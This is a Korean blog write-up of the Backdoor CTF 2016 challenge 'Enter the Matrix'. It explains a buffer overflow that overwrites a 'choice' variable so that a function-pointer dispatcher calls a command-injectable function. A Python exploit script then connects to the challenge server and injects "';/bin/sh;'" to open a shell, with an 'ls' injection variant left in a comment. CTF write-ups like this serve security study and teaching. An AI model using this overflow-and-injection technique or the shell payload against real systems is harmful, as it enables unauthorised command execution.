ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Backdoor CTF - Enter the Matrix
    CTF 2016. 6. 7. 00:27

    이 문제는 함수포인터와 버퍼에대한 지식이 있다면 손쉽게 풀수있는 문제이다.


    다음과같은 코드를 보고 커맨드 인젝션인것은 모두 눈치챘을것이다.



    우리는 name 을 입력해줄수있는상태이다. 하지만 이 함수가 호출되는것은 이상한 조건에서만 호출이된다.

    그 조건을 충족시키지 못하기때문에 다른 방법을 알아내야한다.



    이 조건은 맞추기 힘들것같다. 그래서 다른 방법을 구했다.



    일단 이걸 참고하고, 제일 중요한 함수가 존재한다.



    get_input_n함수를 보게되면 구조상 트릭이존재한다.





    그리고, 우린 오버플로우를 할 수 있어서 choice 변수를 덮을수있다.


    덮어서 뭐하냐? 메인함수 맨밑을 확인해보자




    dispatcher + choice로 함수포인터를 호출하는데, choice 는 우리가 1,2,3을 선택할수있게된다.




    함수포인터 순서를보면 , 0은 zion이 존재한다 zion에서 커맨드인젝션이 가능한함수이다. 그럼 choice를덮어서 0x00000000으로 덮어준다면 정상적으로 zion이 호출될것이다.


    여기까진 접근했는데, 막상와서 커맨드인젝션이 잘 안되는경우가있다.



    %s가 '로 묶여져있다. 간단하게 우회할수있다.


    from s0ngsari import *
    
    p = lambda x:struct.pack("<L",x)
    HOST = "hack.bckdr.in"
    PORT = 9004
    def recvuntil(t):
            data = ''
            while not data.endswith(t):
                    tmp = s.recv(1)
                    if not tmp: break
                    data += tmp
            return data
    
    
    s = socket(AF_INET,SOCK_STREAM)
    s.connect((HOST,PORT))
    
    #namebuf = "';ls';|"
    namebuf = "';/bin/sh;'"
    namebuf += "\x41"*(64 - len(namebuf))
    namebuf += p(0x00000000)
    print recvuntil("Choice:")
    s.send("2" + "\n")
    print recvuntil("name:")
    s.send(namebuf + "\n")
    
    
    t = Telnet()
    t.sock = s
    t.interact()


    'CTF' 카테고리의 다른 글

    SECUINSIDE 2016 CYKOR_00001  (0) 2016.07.10
    SECUINSIDE 2016 CYKOR_00001_Patch  (0) 2016.07.10
    TJCTF - Java sandbox  (0) 2016.05.31
    TJCTF - gravitymud  (0) 2016.05.30
    Defcon 24 - LEGIT 1,2,3 Patched  (0) 2016.05.23

    댓글

Designed by Tistory.